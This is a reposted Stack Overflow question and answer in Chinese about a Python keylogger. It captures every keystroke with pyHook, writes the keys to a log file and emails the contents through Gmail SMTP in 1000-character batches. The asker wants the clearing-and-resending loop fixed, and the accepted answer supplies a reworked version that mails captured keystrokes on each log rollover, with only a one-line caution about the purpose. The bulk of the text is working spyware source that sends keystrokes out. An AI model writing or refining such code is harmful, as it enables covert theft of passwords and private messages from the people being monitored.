gpt4 book ai didi

python - 记录和清除文件

转载 作者:太空宇宙 更新时间:2023-11-04 06:35:37 25 4
gpt4 key购买 nike

我正在研究简单的键盘记录器 -

import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")

def OnKeyboardEvent(event):

print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
checklog()
return True

def checklog():
f = open(path, "r")
x = f.read()
if len(x) == 1000:
server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
f.close()
f = open(path,"w")
f.close()



hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

它应该将日志保存到文件并在文件长度为 1000 时发送到电子邮件。然后清除日志,当长度为 1000 时再次将其邮寄等。但是此代码不起作用,文件以 1000 发送,已清除,但是不再登录。问题在哪里?谢谢

最佳答案

大致如下。不过,仔细想想你为什么想要一个键盘记录器。这是未经测试的。

from functools import partial
import logging
import logging.handlers
import smtplib
import pyHook
import pythoncom


class EmailingRotatingFileHandler(logging.handlers.RotatingFileHandler):
def __init__(self, smtp_credentials, **kargs):
self.smtp_credentials = smtp_credentials
super(EmailingRotatingFileHandler, self).__init__(**kargs)

def smtp_connect(self):
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("", "")
return server

def doRollover(self):
## Close the stream
if self.stream:
self.stream.close()
self.stream = None

## Email the file
server = self.smtp_connect()

with open(self.baseFilename, 'r') as logfile:
contents = logfile.read()
server.sendmail(self.smtp_credentials[0], self.smtp_credentials[1], contents)

server.quit()

## Proceed with the rollover
super(EmailingRotatingFileHandler, self).doRollover()


def OnKeyboardEvent(logger, event):
print "Key: ", chr(event.Ascii)
logger.info(chr(event.Ascii))
return True


def main():
path = r"C:\Users\Karel\Desktop\log.txt"
smtp_credentials = ("", "")

## Set up the logging
logger = logging.getLogger()
logger.setLevel(logging.INFO)
log_handler = EmailingRotatingFileHandler(smtp_credentials, path, maxBytes=1024)
formatter = logging.Formatter('%(message)s')
log_handler.setFormatter(formatter)
logger.addHandler(log_handler)

## Configure the event handlers
hm = pyHook.HookManager()
hm.KeyDown = partial(OnKeyboardEvent, logger)
hm.HookKeyboard()
pythoncom.PumpMessages()


if __name__ == '__main__':
main()

关于python - 记录和清除文件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/11736672/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com